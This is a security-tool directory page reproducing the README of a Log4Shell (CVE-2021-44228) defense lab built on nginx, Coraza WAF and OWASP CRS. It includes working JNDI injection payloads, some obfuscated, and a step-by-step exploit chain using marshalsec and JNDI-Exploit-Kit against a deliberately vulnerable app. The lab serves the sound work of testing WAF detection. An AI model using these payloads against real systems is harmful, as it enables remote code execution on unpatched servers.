Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4shell-coraza — Laboratorio de defensa contra Log4Shell (CVE-2021-44228) — nginx + módulo dinámico de Coraza WAF + OWASP CRS v4. Solo para uso educativo. | Kitploit
Herramientas/GitHubGitHub/tieupham267/log4shell-coraza
Herramientas DefensivasEscáneres de VulnerabilidadesExplotaciónEvasión de IDS/IPSEvasión de WAFSeguridad WebPruebas de PenetraciónDetección de IntrusionesAprendizaje y EducaciónAnálisis de RegistrosLabs y Práctica
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
tieupham267/log4shell-coraza

log4shell-coraza

Laboratorio de defensa contra Log4Shell (CVE-2021-44228) — nginx + módulo dinámico de Coraza WAF + OWASP CRS v4. Solo para uso educativo.

Ver Repositorio

Log4Shell Security Lab — nginx + Coraza WAF

Propósito educativo / defensivo: este laboratorio contiene una aplicación deliberadamente vulnerable (Log4j 2.14.1) y un kit de exploits JNDI, SOLO para aprender a detectar y bloquear Log4Shell en un entorno aislado. No lo despliegues a Internet, no lo uses para atacar sistemas que no te pertenecen.

Laboratorio práctico de defensa contra Log4Shell (CVE-2021-44228) usando nginx con Coraza WAF integrado (módulo dinámico) + OWASP CRS v4 + conjunto de reglas JNDI personalizadas. Incluye un contenedor objetivo Spring Boot vulnerable, una attacker-box Kali y Suricata + Wazuh para observación.


1. Arquitectura

root@kitploit:~
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│   ├── nginx-proxy        ← entrypoint :80/:443, có Coraza module + CRS v4
│   ├── attacker-box       ← Kali + JNDI exploit kits
│   └── suricata-ids       ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
    ├── nginx-proxy        ← second NIC
    ├── log4shell-app      ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager      ← SIEM
    └── wazuh-dashboard    ← UI

Flujo de peticiones: client → nginx (Coraza inspect) → log4shell-app. El WAF se ejecuta dentro de nginx (a través del módulo ngx_http_coraza_module.so), no en un contenedor aparte.


2. Requisitos

ElementoVersión mínima
Docker Desktop / Engine24+ con Compose v2
RAM libre4 GB (Wazuh consume ~1.5 GB)
Disco libre6 GB (artefactos de build de imágenes)
Tiempo de build inicial10–15 minutos (libcoraza + módulo nginx + herramientas Maven del atacante)

3. Bootstrap — primera ejecución

Paso 3.1 — Construir imágenes

root@kitploit:~
cd /path/to/log4shell-nginx-coraza
docker compose build

La etapa más lenta es nginx (build de libcoraza v1.4.0 con Go 1.25 y después compilación del módulo coraza-nginx). Se cachea tras la primera vez.

Paso 3.2 — Iniciar el stack

root@kitploit:~
docker compose up -d
docker compose ps

Después de ~30s, estado esperado:

Paso 3.3 — Prueba de humo

root@kitploit:~
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"

# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ sin el header X-Api-Version devuelve 400 — es el error whitelabel de Spring Boot (sin handler), no es un bloqueo del WAF.


4. Probar que el WAF bloquea Log4Shell

Paso 4.1 — Payload básico

root@kitploit:~
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

Esperado: HTTP/1.1 403 Forbidden, cuerpo <html>... 403 Forbidden ... nginx ...</html>.

Paso 4.2 — Payload ofuscado

root@kitploit:~
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

Paso 4.3 — Payload en cuerpo JSON

root@kitploit:~
curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)

5. Inspeccionar los logs del WAF

Log de auditoría de Coraza (JSON)

root@kitploit:~
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

Cada evento JSON Lines incluye:

  • transaction.is_interrupted: true → el WAF bloqueó
  • messages[].error_message → qué regla se disparó, archivo y línea, severidad

Log de acceso de nginx

root@kitploit:~
docker exec nginx-proxy tail -f /var/log/nginx/access.log

Filtrar los bloqueos:

root@kitploit:~
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

Rutas montadas en el host

root@kitploit:~
./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

6. Cadena de exploit real — attacker-box → log4shell-app

Por defecto backend-net tiene internal: true y attacker-box solo está en dmz-net, por lo que log4shell-app NO puede alcanzar attacker-box. Para que la cadena JNDI funcione de extremo a extremo, haz el paso 6.0 primero.

Paso 6.0 — Permitir que log4shell-app alcance attacker-box

Edita docker-compose.yml y añade attacker-box a backend-net:

root@kitploit:~
  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— thêm

O mueve log4shell-app a dmz-net (más simple, pero reduce el valor didáctico de la segmentación):

root@kitploit:~
  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— thêm

Aplica: docker compose up -d (Compose recrea ese contenedor).

Paso 6.1 — Iniciar el servidor de exploits JNDI dentro de attacker-box

root@kitploit:~
docker exec -it kali-attacker bash
cd /opt/exploits

# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

El servidor escucha en LDAP :1389 y HTTP :8888 (expuestos al host en el compose).

Paso 6.2 — Prueba de bypass: llamar directamente a la app (sin pasar por el WAF) para confirmar la vulnerabilidad

root@kitploit:~
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

Verifícalo:

root@kitploit:~
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned

Si el archivo aparece → la cadena de exploit funciona, la app sigue vulnerable y el WAF NO se evade por la vía principal.

Paso 6.3 — Verificar que el WAF bloquea el mismo payload por la vía principal

root@kitploit:~
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới

7. Ajustar reglas (sin rebuild)

El archivo ./coraza/config/log4shell-rules.conf está montado :ro en nginx en /etc/nginx/coraza/log4shell-rules.conf. Después de editarlo:

root@kitploit:~
docker exec nginx-proxy nginx -t      # syntax check
docker exec nginx-proxy nginx -s reload

Si Coraza reporta un error de parseo (failed to compile the directive...), los workers saldrán y nginx -s reload no podrá reiniciarlos. En ese caso:

root@kitploit:~
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

Reglas cargadas en el WAF

Orden de inclusión (en nginx/coraza/main.conf, ya integrado en la imagen):

  1. Configuración del engine: SecRuleEngine On, audit log, debug log
  2. crs-setup.conf — inicializa tx.*_anomaly_score, umbral
  3. owasp-crs/rules/*.conf — todo el CRS v4.7.0
  4. log4shell-rules.conf — reglas personalizadas (montadas desde el host)

Rango de IDs de reglas personalizadas: 1910001 – 1910999 (evita el rango CRS 900000–999999).

Limitaciones de sintaxis de Coraza vs ModSecurity

  • La severidad solo acepta los enums estándar: EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW no son válidos.
  • Las colecciones persistentes (IP:, SESSION:, RESOURCE:) no funcionan si no se ha configurado un backing store. Usa tx. para per-request o rate-limit mediante nginx limit_req_zone.

8. Troubleshooting

nginx UP pero (unhealthy) / curl localhost se cuelga

root@kitploit:~
docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza

Normalmente se debe a una regla nueva con sintaxis incorrecta → todos los workers salen con código 2. Corrige la regla y ejecuta docker compose restart nginx.

failed to create WAF: ... unknown severity: HIGH

Cambia severity:'HIGH' → severity:'ERROR' en la regla personalizada.

failed to compile the directive "secrule": invalid arguments, expected collection TX

La regla está usando setvar:ip.xxx o referenciando IP:something / TX:NEVER_DECLARED. Elimina la colección persistente o integra la lógica en una única regla en cadena.

Suricata Exited (1)

La imagen jasonish/suricata:latest tiene su propio entrypoint y el yaml montado desde ./suricata/config/ puede no ser compatible con la versión de la imagen. Solución rápida: comenta temporalmente el servicio suricata en el compose; el laboratorio sigue funcionando normal (no se necesita IDS para que Coraza funcione). Para arreglarlo de raíz, sustituye suricata.yaml por el predeterminado de la imagen (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).

log4shell-app se cierra justo después de iniciar

La imagen base está sobre Alpine 3.8 EOL. Asegúrate de que el command en el compose sea ["java", "-jar", "/app/spring-boot-application.jar"] (SIN apk add iptables — el repo de Alpine 3.8 ya devuelve 404).

No se puede acceder al dashboard de Wazuh en http://localhost:5601

Wazuh manager + dashboard necesitan además wazuh-indexer (OpenSearch) para funcionar por completo. El stack actual carece de ese servicio — el dashboard se iniciará, pero el login fallará. Si lo necesitas de verdad, añade el servicio wazuh-indexer siguiendo el compose oficial.


9. Cleanup

root@kitploit:~
# Stop + remove container, giữ image cache
docker compose down

# Nuke all (kèm volume Wazuh, ép rebuild lần sau)
docker compose down -v

# Xoá luôn image build (giải phóng ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box

10. Estructura de directorios

root@kitploit:~
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│   ├── Dockerfile              # multi-stage: libcoraza + coraza-nginx + CRS v4
│   ├── nginx.conf              # load_module + coraza on; ở http{}
│   ├── conf/
│   │   └── default.conf        # reverse proxy → log4shell-app:8080
│   └── coraza/
│       └── main.conf           # engine config + Include CRS + custom
├── coraza/
│   └── config/
│       └── log4shell-rules.conf  # custom JNDI rules, mount :ro vào nginx
├── attacker/
│   ├── Dockerfile              # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│   ├── scripts/
│   │   ├── start-ldap-server.sh
│   │   └── test-payloads.sh
│   └── exploit-classes/
│       └── Exploit.java
├── suricata/
│   ├── config/
│   └── rules/
├── wazuh/config/
└── logs/                        # mount points cho nginx, coraza, app, suricata, wazuh

11. Referencia de IDs de reglas

RangoResponsable¿Se solapa con rango CRS?
900000–999999OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval)(propiedad de CRS)
1910000–1910999Reglas Log4Shell personalizadasNo

Todos los IDs de reglas personalizadas actuales: 1910001–1910008 (patrones JNDI), 1910010–1910014 (por header), 1910015 (protocolos alternativos), 1910020 (detección de escaneo), 1910026 (cadena en cuerpo JSON), 1910028 (cadena en cuerpo XML), 1910030 (paranoia 3), 1910999 (eco de evaluación de anomalías).


Cierre: si el laboratorio llega al Paso 4, el WAF ya está funcionando. El Paso 6 solo es necesario si quieres demostrar la cadena de exploit completa de extremo a extremo.

Descargar herramienta
ServiceSTATUS
nginx-proxyUp (healthy)
victim-appUp
kali-attackerUp
wazuh-siem, wazuh-webUp
suricata-idspuede estar Restarting (ver sección 8 — no bloquea el laboratorio)
  • TX:VARNAME solo puede referenciar variables declaradas con setvar en la misma petición. Si la regla está en otra fase, considera convertirla en una regla en cadena (chain).